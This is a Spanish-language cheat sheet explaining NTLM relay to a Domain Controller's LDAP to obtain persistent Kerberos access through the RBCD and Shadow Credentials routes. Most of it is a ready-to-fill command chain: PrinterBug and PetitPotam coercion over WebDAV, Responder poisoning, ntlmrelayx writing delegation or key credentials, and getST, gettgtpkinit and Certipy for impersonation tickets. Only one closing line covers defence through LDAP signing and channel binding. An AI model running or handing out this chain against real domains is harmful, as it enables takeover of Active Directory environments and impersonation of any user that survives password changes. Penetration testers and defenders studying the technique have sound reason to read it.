Qué es
NTLM Relay a Kerberos toma una autenticación NTLM coaccionada y la reenvía a LDAP del Domain Controller. En vez de abrir una sesión, escribe un atributo del directorio. Ese atributo le da al atacante un acceso de Kerberos que dura.
Cómo funciona
NTLM no comprueba a quién le prueba su identidad la máquina coaccionada. El atacante reenvía esa prueba a LDAP como si fuera la propia máquina. Una máquina puede escribir sus propios atributos en el directorio.
Por la vía RBCD, escribe msDS-AllowedToActOnBehalfOfOtherIdentity para que la máquina confíe en una cuenta del atacante. Por la vía Shadow Credentials, escribe un certificado en msDS-KeyCredentialLink y registra una credencial alterna.
Kerberos respeta ese atributo. Con RBCD, el atacante pide tickets con S4U2Self y S4U2Proxy para hacerse pasar por cualquier usuario. Con Shadow Credentials, pide un TGT por PKINIT. El relay dura segundos, pero el atributo queda: el acceso sobrevive al cambio de contraseña.
El controlador exige firma en LDAP y rechaza el relay que llega por SMB. Por eso el atacante coacciona autenticación por HTTP sobre WebDAV, que no se puede firmar.
Comandos
Coaccionar la autenticación por HTTP sobre WebDAV, para que el controlador no la rechace:
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<HOST> <IP>@80/relayPetitPotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <IP>@80/relay <HOST>Opcional: envenenar la resolución de nombres para desviar la conexión al listener:
responder -I <INTERFACE>Vía RBCD. Relayar a LDAP y escribir la delegación; ntlmrelayx crea la cuenta de equipo y muestra sus credenciales:
ntlmrelayx.py -t ldaps://<IP> --delegate-access -smb2supportPedir un ticket de servicio que se hace pasar por un usuario, con la cuenta de equipo creada:
getST.py -spn cifs/<HOST> -impersonate <USER> -dc-ip <IP> <DOMAIN>/<HOST>$:<PASSWORD>Vía Shadow Credentials. Relayar a LDAP y escribir la credencial alterna:
ntlmrelayx.py -t ldaps://<IP> --shadow-credentials --shadow-target <HOST>$ -smb2supportObtener un TGT con el certificado por PKINIT:
gettgtpkinit.py -cert-pfx <FILE> -pfx-pass <PASSWORD> <DOMAIN>/<HOST>$ <FILE>Automatizar la escritura y el PKINIT con Certipy en un solo paso:
certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <HOST>$ -dc-ip <IP>Cómo defenderse
Exige firma y channel binding en LDAP: el controlador rechaza la autenticación relayada y cierra el bypass por WebDAV.